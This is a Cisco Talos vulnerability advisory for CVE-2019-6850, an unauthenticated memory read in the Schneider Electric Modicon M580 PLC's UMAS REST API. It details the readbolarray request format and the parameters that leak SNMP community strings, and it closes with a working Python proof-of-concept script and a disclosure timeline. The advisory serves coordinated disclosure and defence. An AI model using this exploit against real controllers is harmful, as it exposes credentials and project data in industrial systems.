Talos Vulnerability Report

TALOS-2019-0868

Schneider Electric Modicon M580 UMAS REST API readbolarray information disclosure vulnerability

October 8, 2019
CVE Number

CVE-2019-6850

Summary

An exploitable information disclosure vulnerability exists in the UMAS REST API readbolarray functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to return blocks of program memory, resulting in the disclosure of sensitive project information. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

A REST API is included in the web server, allowing clients to interact with various pieces of functionality on the device, including viewing alarms, querying rack information, and performing select UMAS requests. It is possible to read arbitrary program memory blocks, including those holding sensitive information such as the SNMP community strings, by leveraging the "/rest/umas/readbolarray" UMAS endpoint.

A POST request to the readbolarray endpoint takes a structure similar to the following:

{
    'startVar':{
        'dataType':BYTE, 
        'block':UINT, 
        'offset':UDOUBLE, 
        'bitOffset':BYTE
    }, 
    'numToRead':BYTE, 
    'signature':UDOUBLE
} 

When a POST request containing data with this structure is sent to readbolarray, the response contains an array of values formatted according to the specification requested in the 'dataType' parameter. By requesting 0xc8 bytes from block 0x48 at offset 0x1f4 in dataType 0x05 a response will be returned containing an array of decimal values that, when converted to hex, reveal the SNMP community strings.

This same endpoint can be used to read other program memory blocks data on the device.

Exploit Proof of Concept

import requests
import struct

def main():
  rhost = "192.168.10.1"
  getplcstatusUri = "http://{}/rest/umas/getplcstatus".format(rhost)
  readbolarrayUri = "http://{}/rest/umas/readbolarray".format(rhost)
  headers = {}
  headers['Content-Type'] = "application/json; charset=utf-8"
  headers['Accept'] = "application/json, text/javascript, */*; q=0.01"
  headers['X-Requested-With'] = "XMLHttpRequest"

  r = requests.get(getplcstatusUri, headers=headers)
  did = r.json()['signatures']['did']
  lid = r.json()['signatures']['lid']
  signature = did+lid

  postdata = "{'startVar':{'dataType':5, 'block':72, 'offset':500, 'bitOffset':0}, 'numToRead':200, 'signature':%s}" % signature
  r = requests.post(readbolarrayUri, headers=headers, data=postdata)

  data = ""
  for field in r.json():
    data = "{}{}".format(data, struct.pack("<H", field))
  print(data)

if __name__ == '__main__':
  main()

Timeline

2019-07-30 - Vendor Disclosure
2019-08-27 - Vendor requested to reject issue as duplicate
2019-08-29 - Talos provided additional analysis/feedback to substantiate vulnerability
2019-09-24 - Vendor acknowledged issue will be released in October 2019
2019-10-08 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.